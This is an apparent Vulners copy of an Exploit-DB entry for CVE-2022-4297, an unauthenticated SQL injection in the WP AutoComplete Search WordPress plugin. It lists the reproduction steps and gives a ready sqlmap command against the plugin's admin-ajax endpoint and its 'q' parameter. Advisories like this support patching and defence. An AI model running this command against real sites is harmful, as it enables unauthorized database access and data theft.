Lucene search
K

WP AutoComplete 1.0.4 - Unauthenticated SQLi

🗓️ 03 Jul 2023 00:00:00Reported by matitaniumType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 191 Views

Shortcoming in WP AutoComplete 1.0.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Wordpress WP AutoComplete 1.0.4 - Unauthenticated SQL injection Vulnerability
4 Jul 202300:00
zdt
Circl
CVE-2022-4297
3 Jan 202300:30
circl
CNNVD
WordPress plugin WP AutoComplete Search SQL注入漏洞
2 Jan 202300:00
cnnvd
CVE
CVE-2022-4297
2 Jan 202321:49
cve
Cvelist
CVE-2022-4297 WP AutoComplete Search <= 1.0.4 - Unauthenticated SQLi
2 Jan 202321:49
cvelist
EUVD
EUVD-2022-51653
3 Oct 202520:07
euvd
NVD
CVE-2022-4297
2 Jan 202322:15
nvd
OSV
CVE-2022-4297
2 Jan 202322:15
osv
Packet Storm
WordPress WP AutoComplete Search 1.0.4 SQL Injection
4 Jul 202300:00
packetstorm
Prion
Sql injection
2 Jan 202322:15
prion
Rows per page
# Exploit Title: WP AutoComplete 1.0.4 - Unauthenticated SQLi
# Date: 30/06/2023
# Exploit Author: Matin nouriyan (matitanium)
# Version: <= 1.0.4
# CVE: CVE-2022-4297
Vendor Homepage: https://wordpress.org/support/plugin/wp-autosearch/
# Tested on: Kali linux

---------------------------------------


The WP AutoComplete Search WordPress plugin through 1.0.4 does not sanitise 
and escape a parameter before using it in a SQL statement via an AJAX available to unauthenticated users,
leading to an unauthenticated SQL injection

--------------------------------------

How to Reproduce this Vulnerability:

1. Install WP AutoComplete <= 1.0.4 
2. WP AutoComplete <= 1.0.4 using q parameter for ajax requests
3. Find requests belong to WP AutoComplete like step 5
4. Start sqlmap and exploit 
5. python3 sqlmap.py -u "https://example.com/wp-admin/admin-ajax.php?q=[YourSearch]&Limit=1000&timestamp=1645253464&action=wi_get_search_results&security=[xxxx]" --random-agent --level=5 --risk=2 -p q

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jul 2023 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 3.19.8
EPSS0.0331
SSVC
191